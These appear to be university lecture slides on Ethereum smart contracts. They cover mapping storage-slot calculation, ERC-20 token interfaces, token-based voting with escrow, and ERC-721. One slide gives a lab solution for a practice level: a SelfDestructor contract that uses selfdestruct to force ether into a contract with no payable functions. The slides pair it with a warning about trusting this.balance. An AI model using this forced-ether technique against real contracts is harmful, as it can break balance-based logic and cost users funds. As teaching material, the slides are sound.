CS8803: Exploiting Smart Contract and DeFi

Taesoo Kim



CS8803: Ethereum Applications

Taesoo Kim & Ammar Askar

Announcements

Time to finalize teammates for Part 2.

There is a team-finding thread available on Ed-Discussions, please use it and utilize the time after class today.

Spreadsheet linked on Ed-Discussions must be filled out by everyone by next class (17th February).

Recap

Past Lab: Lab04 Tutorial

    struct S {
        uint128 a;
        uint128 b;
        uint[2] staticArray;
        uint[] dynArray;
    }
    
    // Storage (global) variables.
    address public owner;
    bool public completed1;
    bool public completed2;

    mapping(bool => mapping(uint128 => mapping(string => S))) data;

    // Find the slot.
    data[false][0xdeadc0de]["world!"].staticArray[1] = 0xdecafbad;

Past Lab: Lab04 Tutorial

As a reminder, slot usage for mappings:

    address public owner;
    bool public completed1;
    bool public completed2;

    mapping(bool => mapping(uint128 => mapping(string => S))) data;

Address is 20 bytes, bools are 1 byte. So owner, completed1 and completed2 all stored in slot 0.

Past Lab: Lab04 Tutorial

map[key] = value is stored at keccak256(key . #slot)

data[false][0xdeadc0de]["world!"].staticArray[1] = 0xdecafbad;
# Given based on where data is.
>>> s1 = 1
# Next let's resolve data[false], key = false = 0.
>>> s2 = web3.solidityKeccak(['uint256', 'uint256'], [0, s1])
# Now key = 0xdeadc0de
>>> s3 = web3.solidityKeccak(['uint256', 'uint256'], [0xdeadc0de, s2.int()])
# Now key = "world!"
>>> s4 = web3.solidityKeccak(['string', 'uint256'], ["world!", s3.int()])
>>> web3.eth.getStorageAt(lab4.address, s4.int() + 2)
'0x00000000000000000000000000000000000000000000000000000000decafbad'

Past Lab: Force

The goal of this level is to make the balance of the contract greater than zero.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Past Lab: Force

>>> force = load_level("force")
>>> force.balance()
0

Let’s try sending it some balance!

>>> accounts[2].transfer(force.address, amount='1 gwei')
Transaction sent: 0x2b2ce04f62ca6da23be7a88e572cacd13cef52e32f9c62ffe8513162d29e19f7
  Max fee: 2.000000014 gwei   Priority fee: 2.0 gwei   
  Gas limit: 30000000   Nonce: 271

  Transaction confirmed (reverted)

Reverted, there are no payable methods :(

Past Lab: Force

contract SelfDestructor {
    constructor() payable {
        require(msg.value == 1 gwei);
    }

    function exploit(address _target) public payable {
        selfdestruct(payable(_target));
    }
}

Past Lab: Force

>>> s = SelfDestructor.deploy({'value': '1 gwei'})
...
  SelfDestructor deployed at: 0x4BEDC96985b51E4b63b124b75541A6e671ff7634
>>> s.exploit(force.address)
...
  SelfDestructor.exploit confirmed   Block: 258896
>>> force.balance()
1000000000

selfdestruct can force your contract to receive eth, make sure you are aware this.balance can be changed in this way!

Ethereum Layers

Tokens

The most common high-level contract you will see involves tokens.

Just like Ethereum itself, they represent a fungible asset.

Fungible: 1 gwei is the same as any other 1 gwei.

Token Uses

Tokens are used for a wide variety of applications:

Token API ERC-20

Most Tokens implement a set of common APIs as part of an interface. This interface is called ERC-20.

function name() public view returns (string)
function symbol() public view returns (string)
function decimals() public view returns (uint8)
function totalSupply() public view returns (uint256)
function balanceOf(address _owner) public view returns (uint256 balance)
function transfer(address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public
  returns (bool success)
function approve(address _spender, uint256 _value) public returns (bool success)
function allowance(address _owner, address _spender) public view 
  returns (uint256 remaining)

Ref. ERC-20

ERC-20 Display Methods

function name() public view returns (string)

Returns the name of the token. e.g. "CatToken"

function symbol() public view returns (string)

Returns a symbol representing the token. e.g. "CAT"

function decimals() public view returns (uint8)

The number of decimal places to use for the currency. For example you can store $2.52 as 252 and use decimals() = 2.

ERC-20 Balance Management

function totalSupply() public view returns (uint256)

The total number of tokens in circulation.

function balanceOf(address _owner) public view returns (uint256 balance)

Gets the token balance of a particular address.

function transfer(address _to, uint256 _value) public returns (bool success)

Transfers tokens from the sender’s address to the to address.

ERC-20 Allowances

function approve(address _spender, uint256 _value) public 
  returns (bool success)
function allowance(address _owner, address _spender) public view 
  returns (uint256 remaining)

Approves spender to spend value tokens on your behalf.

function transferFrom(address _from, address _to, uint256 _value) public
  returns (bool success)

Transfers value tokens from someone else’s token balance if they approved it.

Why use ERC-20?

Gives a universal set of interfaces you can use to accept any sort of token in your own contract.

Here’s a contract that you can sell any sort of token to, and it will buy it at a rate of 1gwei per token.

function sellTokens(ERC20 token, uint256 amount) public {
    require(token.transferFrom(msg.sender, address(this), amount));
    // Takes tokens at a rate of 1gwei per token.
    uint256 amountToSend = 1 gwei * amount;
    payable(msg.sender).transfer(amountToSend);
}

Why use ERC-20?

Integrates with block explorers.

Why use ERC-20?

and integrates with wallets.

Voting with ERC-20

Naive implementaton, what’s the problem?

    IERC20 votingToken = IERC20(...);

    function vote(uint proposal) public {
        ...
        uint256 balance = votingToken.balanceOf(msg.sender);
        require(balance > 0, "Need at least 1 token to vote");

        proposals[proposal].voteCount += balance;
    }

Voting with ERC-20

Hold tokens for the user until voting is finished.

    IERC20 votingToken = IERC20(...);

    function vote(uint proposal) public {
        uint256 balance = votingToken.balanceOf(msg.sender);
        require(balance > 0, "Need at least 1 token to vote");

        require(
            classToken.transferFrom(msg.sender, address(this), balance),
            "Failed to transfer tokens to voting contract");

        sender.heldAmount = balance;
        proposals[proposal].voteCount += balance;
    }

Voting with ERC-20

Withdraw from escrow after voting period is over.

    function withdraw() public {
        require(block.timestamp >= endTime, "Voting is still in progress");
        ...
        require(classToken.transfer(msg.sender, sender.heldAmount));
    }

Now Try it Out

Now Try it Out

VoteForSnacks contract available at: 0x76c30713dfC8b0763Ae6577465568bA75B8c71cC

Make sure to withdraw your ClassToken once the voting period is over.

Not the only ERC

ERC-721 is for NFTs (Non-Fungible Tokens). In this instance, one token is not the same as any other token.

Each token carries a tokenId to uniquely identify it.

CryptoKitties#178021, tokenURI points to:

References